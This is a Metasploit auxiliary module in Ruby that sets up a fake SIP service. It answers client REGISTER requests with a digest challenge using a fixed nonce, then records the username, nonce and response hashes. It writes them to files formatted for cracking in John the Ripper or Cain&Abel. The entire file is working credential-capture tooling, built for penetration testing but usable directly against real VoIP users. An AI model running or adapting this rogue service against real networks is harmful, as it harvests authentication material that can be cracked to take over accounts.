##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex/socket'

class Metasploit3 < Msf::Auxiliary

	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name'           => 'Authentication Capture: SIP',
			'Description'    => %q{
				This module provides a fake SIP service that is designed to
				capture authentication credentials. It captures	challenge and
				response pairs that can be supplied to Cain or JtR for cracking.
			},
			'Author'         => 'Patrik Karlsson <patrik[at]cqure.net>',
			'License'        => MSF_LICENSE,
			'Actions'        => [ [ 'Capture' ] ],
			'PassiveActions' => [ 'Capture' ],
			'DefaultAction'  => 'Capture'
		)

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5060 ]),
				OptAddress.new('SRVHOST',   [ true, "The local host to listen on.", '0.0.0.0' ]),
				OptString.new('NONCE', [ true, "The server byte nonce", "1234" ]),
				OptString.new('JOHNPWFILE',  [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
				OptString.new('CAINPWFILE',  [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
			], self.class)
		register_advanced_options(
			[
				OptString.new("SRVVERSION", [ true, "The server version to report in the greeting response", "ser (3.3.0-pre1 (i386/linux))" ]),
				OptString.new('REALM', [false, "The SIP realm to which clients authenticate", nil ]),
			], self.class)
	end

	def sip_parse_authorization(data)
		kvps = {}
		kvps['scheme'] = data.slice!(0, data.index(' '))
		data.split(/,\s?/).each do | item |
			tokens = item.scan(/^\s?([^=]*)=\"?(.*?)\"?$/)[0]
			kvps[tokens[0]] = tokens[1]
		end
		kvps
	end

	def sip_parse_request(data)
		response = {
			:headers_raw => [],
			:headers => {},
			:uri => nil,
			:method => nil,
			:protocol => nil
		}
		status = data.slice!(0, data.index(/\r?\n/)+1).split(/\s/)
		response[:method] = status[0]
		response[:uri] = status[1]
		response[:protocol] = status[2]

		while data.index(/\r?\n/)
			header = (data.slice!(0, data.index(/\r?\n/)+1)).chomp
			response[:headers_raw] << header
			key, val = header.split(/:\s*/, 2)
			response[:headers][key] = val
		end
		response
	end

	def sip_send_error_message(request, code, msg)
		ip = @requestor[:ip]
		port = @requestor[:port]
		tag = (0...8).map{65.+(rand(25)).chr}.join
		nonce = datastore['NONCE']
		realm = datastore['REALM'] ? datastore['REALM'] : sip_sanitize_address(ip)
		auth = []

		auth << "SIP/2.0 #{code} #{msg}"
		auth << ("Via: #{request[:headers]['Via']};received=#{ip}").gsub("rport", "rport=#{port}")
		auth << "From: #{request[:headers]['From']}"
		auth << "To: #{request[:headers]['To']};tag=#{tag}"
		auth << "Call-ID: #{request[:headers]['Call-ID']}"
		auth << "CSeq: #{request[:headers]['CSeq']}"
		auth << "Expires: 600"
		auth << "Min-Expires: 240"
		auth << "WWW-Authenticate: Digest realm=\"#{realm}\", nonce=\"#{nonce}\""
		auth << "Server: #{datastore['SRVVERSION']}"
		auth << "Content-Length: 0"
		auth << ""

		@sock.sendto(auth.join("\r\n") << "\r\n", @requestor[:ip].to_s, @requestor[:port])
	end

	# removes any leading ipv6 stuff, such as ::ffff: as it breaks JtR
	def sip_sanitize_address(addr)
		if ( addr =~ /:/ )
			return addr.scan(/.*:(.*)/)[0][0]
		end
		return addr
	end

	def run
		begin
			@port = datastore['SRVPORT'].to_i
			@sock = Rex::Socket::Udp.create(
						'LocalHost' => datastore['SRVHOST'],
						'LocalPort' => @port,
						'Context'   => {'Msf' => framework, 'MsfExploit' => self} )
			@run = true
			server_ip = sip_sanitize_address(datastore['SRVHOST'])

			while @run
				res = @sock.recvfrom()
				@requestor = {
					:ip => res[1],
					:port => res[2]
				}
				client_ip = sip_sanitize_address(res[1])
				next if not res[0] or res[0].empty?
				request = sip_parse_request(res[0])
				method = request[:method]

				case method
				when "REGISTER"
					authorization = ( request[:headers]['Authorization'] ? request[:headers]['Authorization'] : request[:headers]['Proxy-Authorization'] )
					if authorization
						if ( request[:uri] =~ /^sip:.*?:\d+/ )
							# current versions of the JtR plugin will fail cracking SIP uri:s containing a port; eg. sip:1.2.3.4:5060
							print_status("URI with port detected in authorization SIP request, JtR may fail to crack the response")
						end

						auth_tokens = sip_parse_authorization(authorization)
						response = ( auth_tokens['response'] ? auth_tokens['response'] : "" )
						algorithm= ( auth_tokens['algorithm'] ? auth_tokens['algorithm'] : "MD5" )
						username = auth_tokens['username']
						proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}"
						print_status("SIP LOGIN: #{proof}")

						report_auth_info(
							:host  => @requestor[:ip],
							:port => @requestor[:port],
							:sname => 'sip_client',
							:user => username,
							:pass => response + ":" + auth_tokens['nonce'] + ":" + algorithm,
							:type => "sip_hash",
							:proof => proof,
							:source_type => "captured",
							:active => true
						)

						if datastore['JOHNPWFILE']
							resp = []
							resp << "$sip$"
							resp << server_ip
							resp << client_ip
							resp << username
							resp << auth_tokens['realm']
							resp << method
							resp << "sip"
							resp << request[:uri].scan(/^.*?:(.*)$/)
							resp << auth_tokens['nonce']
							resp << ( auth_tokens['cnonce'] ? auth_tokens['cnonce'] : "" )
							resp << ( auth_tokens['nc'] ? auth_tokens['nc'] : "" )
							resp << ( auth_tokens['qop'] ? auth_tokens['qop'] : "" )
							resp << algorithm
							resp << response

							fd = File.open(datastore['JOHNPWFILE'] + '_sip' , "ab")
							fd.puts(username + ":" + resp.join("*"))
							fd.close
						end

						if datastore['CAINPWFILE']
							resp = []
							resp << auth_tokens['realm']
							resp << auth_tokens['username']
							resp << ""
							resp << request[:uri]
							resp << auth_tokens['nonce']
							resp << response
							resp << method
							resp << algorithm

							fd = File.open(datastore['CAINPWFILE'], "ab")
							fd.puts resp.join("\t") + "\r\n"
							fd.close
						end

						sip_send_error_message(request, 401, "Unauthorized")
					else
						sip_send_error_message(request, 401, "Unauthorized")
					end
				when "ACK"
					# do nothing
				else
					print_error("Unhandled method: #{request[:method]}")
					sip_send_error_message(request, 401, "Unauthorized")
				end
			end

		rescue ::Interrupt
			raise $!
		rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
			nil
		rescue ::Exception => e
			print_error("Unknown error: #{e.class} #{e.backtrace}")
		ensure
			@sock.close
		end
	end
end